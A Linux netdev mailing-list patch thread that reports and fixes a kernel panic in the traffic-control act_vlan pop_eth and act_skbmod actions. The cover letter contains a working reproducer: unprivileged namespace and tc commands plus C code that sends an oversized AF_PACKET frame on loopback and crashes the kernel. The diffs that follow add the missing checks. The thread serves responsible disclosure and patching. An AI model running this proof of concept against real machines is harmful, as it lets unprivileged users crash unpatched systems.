Netdev List
 help / color / mirror / Atom feed
* [PATCH net v2 0/2] net/sched: act_vlan: pop_eth can strip non-Ethernet skbs and panic loopback
@ 2026-07-23 17:54 Ren Wei
  2026-07-23 17:54 ` [PATCH net v2 1/2] net/sched: act_skbmod: require a full Ethernet header for MAC rewrites Ren Wei
  2026-07-23 17:54 ` [PATCH net v2 2/2] net/sched: act_vlan: skip pop_eth on non-Ethernet devices Ren Wei
  0 siblings, 2 replies; 3+ messages in thread
From: Ren Wei @ 2026-07-23 17:54 UTC (permalink / raw)
  To: netdev
  Cc: jhs, jiri, davem, edumazet, pabeni, horms, peilin.ye, cong.wang,
	gnault, vega, bronzed_45_vested, enjou1224z

From: Wyatt Feng <bronzed_45_vested@icloud.com>

Hi Linux kernel maintainers,

We found an issue in net/sched/act_vlan.c.
The bug is reachable by an unprivileged user using private user and network namespaces.
The relevant details are provided below.

---- details below ----

Bug details:

The bug is in `tcf_vlan_act()` when handling `TCA_VLAN_ACT_POP_ETH`.
The action is applied without checking that the skb is on an Ethernet
device. On loopback and other non-Ethernet devices, `skb_eth_pop()`
removes `ETH_HLEN` bytes from the skb head even though the later TX path
still expects an Ethernet header.

When such a packet is transmitted through `lo`, `loopback_xmit()` calls
`eth_type_trans()`, which unconditionally pulls another `ETH_HLEN`
bytes. For a large non-linear AF_PACKET skb whose linear head contains
only the original Ethernet header, the first pull leaves
`skb_headlen(skb) == 0`. The second pull then reaches `__skb_pull()`
with `skb->len < skb->data_len` and triggers a kernel BUG, crashing the
guest.

This is a short-packet handling bug caused by applying an Ethernet-only
transform to a non-Ethernet skb.

Reproducer:

PATH=/usr/sbin:/usr/bin:/sbin:/bin gcc -O2 -Wall -x c -o mini_poc.bin mini_poc
PATH=/usr/sbin:/usr/bin:/sbin:/bin unshare -Urn sh -euxc '
ip link set lo up
trap "tc qdisc del dev lo clsact 2>/dev/null || true" EXIT
tc qdisc add dev lo clsact
tc filter add dev lo egress pref 1 protocol all flower \
  action vlan pop_eth \
  action skbmod dmac 02:11:22:33:44:55 pipe
./mini_poc.bin
'


We run the PoC in a 2 vCPU, 2 GB RAM x86 QEMU environment.

------BEGIN PoC------

#include <arpa/inet.h>
#include <net/ethernet.h>
#include <net/if.h>
#include <netpacket/packet.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <unistd.h>

int main(void)
{
	struct sockaddr_ll sll;
	unsigned char *frame;
	size_t len = ETH_HLEN + 8192;
	int fd;

	frame = malloc(len);
	if (!frame) {
		perror("malloc");
		return 1;
	}

	memset(frame, 'A', len);
	frame[0] = 0xaa;
	frame[1] = 0xbb;
	frame[2] = 0xcc;
	frame[3] = 0xdd;
	frame[4] = 0xee;
	frame[5] = 0xff;
	frame[6] = 0x11;
	frame[7] = 0x22;
	frame[8] = 0x33;
	frame[9] = 0x44;
	frame[10] = 0x55;
	frame[11] = 0x66;
	frame[12] = 0x08;
	frame[13] = 0x00;

	fd = socket(AF_PACKET, SOCK_RAW, htons(ETH_P_IP));
	if (fd < 0) {
		perror("socket");
		return 1;
	}

	memset(&sll, 0, sizeof(sll));
	sll.sll_family = AF_PACKET;
	sll.sll_protocol = htons(ETH_P_IP);
	sll.sll_ifindex = if_nametoindex("lo");
	if (!sll.sll_ifindex) {
		perror("if_nametoindex");
		return 1;
	}

	if (bind(fd, (struct sockaddr *)&sll, sizeof(sll)) < 0) {
		perror("bind");
		return 1;
	}

	if (send(fd, frame, len, 0) < 0) {
		perror("send");
		return 1;
	}

	close(fd);
	free(frame);
	return 0;
}


------END PoC--------

----BEGIN crash log----

[  138.618799][ T9361] __skb_pull(len=14)
[  138.619387][ T9361] skb len=8192 data_len=8192 headroom=16 headlen=0 tailroom=0
[  138.619387][ T9361] end-tail=368 mac=(16,0) mac_len=0 net=(16,-1) trans=-1
[  138.619387][ T9361] shinfo(txflags=0 nr_frags=1 gso(size=0 type=0 segs=0))
[  138.625465][ T9361] dev name=lo feat=0x0000052e401d4c69
[  138.646157][ T9361] ------------[ cut here ]------------
[  138.646805][ T9361] kernel BUG at include/linux/skbuff.h:2847!
[  138.647529][ T9361] Oops: invalid opcode: 0000 [#1] SMP KASAN NOPTI
[  138.648307][ T9361] CPU: 1 UID: 1001 PID: 9361 Comm: mini_poc.bin Not tainted 7.1.0-13910-g6c00e85cd46f #1 PREEMPT(full)
[  138.650828][ T9361] RIP: 0010:eth_type_trans.cold+0x2c/0x30
[  138.662853][ T9361]  <TASK>
[  138.663655][ T9361]  loopback_xmit+0x21b/0x6e0
[  138.672320][ T9361]  packet_xmit+0x243/0x310
[  138.672878][ T9361]  packet_sendmsg+0x319a/0x5100
[  138.680374][ T9361]  __x64_sys_sendto+0xe0/0x1c0
[  138.707494][ T9361] Kernel panic - not syncing: Fatal exception in interrupt


-----END crash log-----

Best regards,
Wyatt Feng

Changes since v1:
Link: https://lore.kernel.org/r/3ab4a04fbab887238facc1792e02c33fd68190f7.1782548651.git.bronzed_45_vested@icloud.com
Link: https://lore.kernel.org/r/40fe2d7dfce13411bfbe9271c0f7c54fb7e88e3b.1782548651.git.bronzed_45_vested@icloud.com
- Kept the actual code changes unchanged from the previous version.
- Reworded both commit messages to more clearly describe the failure
  mode and the exact header-length checks.
- Consolidated the Reported-by tags to Vega <vega@nebusec.ai>.


Wyatt Feng (2):
  net/sched: act_skbmod: require a full Ethernet header for MAC rewrites
  net/sched: act_vlan: skip pop_eth on non-Ethernet devices

 net/sched/act_skbmod.c | 9 +++++++--
 net/sched/act_vlan.c   | 4 ++++
 2 files changed, 11 insertions(+), 2 deletions(-)

-- 
2.47.3

^ permalink raw reply	[flat|nested] 3+ messages in thread

* [PATCH net v2 1/2] net/sched: act_skbmod: require a full Ethernet header for MAC rewrites
  2026-07-23 17:54 [PATCH net v2 0/2] net/sched: act_vlan: pop_eth can strip non-Ethernet skbs and panic loopback Ren Wei
@ 2026-07-23 17:54 ` Ren Wei
  2026-07-23 17:54 ` [PATCH net v2 2/2] net/sched: act_vlan: skip pop_eth on non-Ethernet devices Ren Wei
  1 sibling, 0 replies; 3+ messages in thread
From: Ren Wei @ 2026-07-23 17:54 UTC (permalink / raw)
  To: netdev
  Cc: jhs, jiri, davem, edumazet, pabeni, horms, peilin.ye, cong.wang,
	gnault, vega, bronzed_45_vested, enjou1224z

From: Wyatt Feng <bronzed_45_vested@icloud.com>

tcf_skbmod_act() rewrites DMAC, SMAC, ETYPE and SWAPMAC through
eth_hdr(skb), but it derives the writable length from
skb_mac_header_len(skb). After a prior action strips or shortens the
L2 header, skbmod can still attempt the Ethernet rewrite without a
full Ethernet header being present.

Reject non-ECN skbmod rewrites unless the skb is on an Ethernet
device, the MAC header is set, and the MAC header length is at least
ETH_HLEN. Also use ETH_HLEN as the writable length for these rewrites,
which matches the bytes actually modified.

This fixes a buffer-size length miscalculation that can corrupt
short or non-linear packets.

Fixes: 56af5e749f20 ("net/sched: act_skbmod: Add SKBMOD_F_ECN option support")
Cc: stable@vger.kernel.org
Reported-by: Vega <vega@nebusec.ai>
Assisted-by: Codex:GPT-5.4
Signed-off-by: Wyatt Feng <bronzed_45_vested@icloud.com>
Signed-off-by: Ren Wei <enjou1224z@gmail.com>
---
 net/sched/act_skbmod.c | 9 +++++++--
 1 file changed, 7 insertions(+), 2 deletions(-)

diff --git a/net/sched/act_skbmod.c b/net/sched/act_skbmod.c
index a464b0a3c1b8..30c2eac17aff 100644
--- a/net/sched/act_skbmod.c
+++ b/net/sched/act_skbmod.c
@@ -38,7 +38,6 @@ TC_INDIRECT_SCOPE int tcf_skbmod_act(struct sk_buff *skb,
 	if (unlikely(p->action == TC_ACT_SHOT))
 		goto drop;
 
-	max_edit_len = skb_mac_header_len(skb);
 	flags = p->flags;
 
 	/* tcf_skbmod_init() guarantees "flags" to be one of the following:
@@ -49,6 +48,8 @@ TC_INDIRECT_SCOPE int tcf_skbmod_act(struct sk_buff *skb,
 	 * packets.
 	 */
 	if (flags == SKBMOD_F_ECN) {
+		max_edit_len = skb_mac_header_len(skb);
+
 		switch (skb_protocol(skb, true)) {
 		case cpu_to_be16(ETH_P_IP):
 		case cpu_to_be16(ETH_P_IPV6):
@@ -57,8 +58,12 @@ TC_INDIRECT_SCOPE int tcf_skbmod_act(struct sk_buff *skb,
 		default:
 			goto out;
 		}
-	} else if (!skb->dev || skb->dev->type != ARPHRD_ETHER) {
+	} else if (!skb->dev || skb->dev->type != ARPHRD_ETHER ||
+		   !skb_mac_header_was_set(skb) ||
+		   skb_mac_header_len(skb) < ETH_HLEN) {
 		goto out;
+	} else {
+		max_edit_len = ETH_HLEN;
 	}
 
 	err = skb_ensure_writable(skb, max_edit_len);
-- 
2.47.3


^ permalink raw reply related	[flat|nested] 3+ messages in thread

* [PATCH net v2 2/2] net/sched: act_vlan: skip pop_eth on non-Ethernet devices
  2026-07-23 17:54 [PATCH net v2 0/2] net/sched: act_vlan: pop_eth can strip non-Ethernet skbs and panic loopback Ren Wei
  2026-07-23 17:54 ` [PATCH net v2 1/2] net/sched: act_skbmod: require a full Ethernet header for MAC rewrites Ren Wei
@ 2026-07-23 17:54 ` Ren Wei
  1 sibling, 0 replies; 3+ messages in thread
From: Ren Wei @ 2026-07-23 17:54 UTC (permalink / raw)
  To: netdev
  Cc: jhs, jiri, davem, edumazet, pabeni, horms, peilin.ye, cong.wang,
	gnault, vega, bronzed_45_vested, enjou1224z

From: Wyatt Feng <bronzed_45_vested@icloud.com>

tcf_vlan_act() currently applies TCA_VLAN_ACT_POP_ETH on any device
type. On loopback and other non-Ethernet devices, this can strip
ETH_HLEN bytes that later paths still expect to be an Ethernet header.

Treat POP_ETH as an Ethernet-only action and leave non-Ethernet
packets unchanged.

This fixes a short-packet handling bug that can trigger a BUG in
__skb_pull().

Fixes: 19fbcb36a39e ("net/sched: act_vlan: Add {POP,PUSH}_ETH actions")
Cc: stable@vger.kernel.org
Reported-by: Vega <vega@nebusec.ai>
Assisted-by: Codex:GPT-5.4
Signed-off-by: Wyatt Feng <bronzed_45_vested@icloud.com>
Signed-off-by: Ren Wei <enjou1224z@gmail.com>
---
 net/sched/act_vlan.c | 4 ++++
 1 file changed, 4 insertions(+)

diff --git a/net/sched/act_vlan.c b/net/sched/act_vlan.c
index 6a375fdc63dd..b77f649ae204 100644
--- a/net/sched/act_vlan.c
+++ b/net/sched/act_vlan.c
@@ -4,6 +4,7 @@
  */
 
 #include <linux/module.h>
+#include <linux/if_arp.h>
 #include <linux/init.h>
 #include <linux/kernel.h>
 #include <linux/skbuff.h>
@@ -76,6 +77,9 @@ TC_INDIRECT_SCOPE int tcf_vlan_act(struct sk_buff *skb,
 		__vlan_hwaccel_put_tag(skb, p->tcfv_push_proto, tci);
 		break;
 	case TCA_VLAN_ACT_POP_ETH:
+		if (!skb->dev || skb->dev->type != ARPHRD_ETHER)
+			goto out;
+
 		err = skb_eth_pop(skb);
 		if (err)
 			goto drop;
-- 
2.47.3


^ permalink raw reply related	[flat|nested] 3+ messages in thread

end of thread, other threads:[~2026-07-23 17:55 UTC | newest]

Thread overview: 3+ messages (download: mbox.gz follow: Atom feed
-- links below jump to the message on this page --
2026-07-23 17:54 [PATCH net v2 0/2] net/sched: act_vlan: pop_eth can strip non-Ethernet skbs and panic loopback Ren Wei
2026-07-23 17:54 ` [PATCH net v2 1/2] net/sched: act_skbmod: require a full Ethernet header for MAC rewrites Ren Wei
2026-07-23 17:54 ` [PATCH net v2 2/2] net/sched: act_vlan: skip pop_eth on non-Ethernet devices Ren Wei

This is a public inbox, see mirroring instructions
for how to clone and mirror all data and code used for this inbox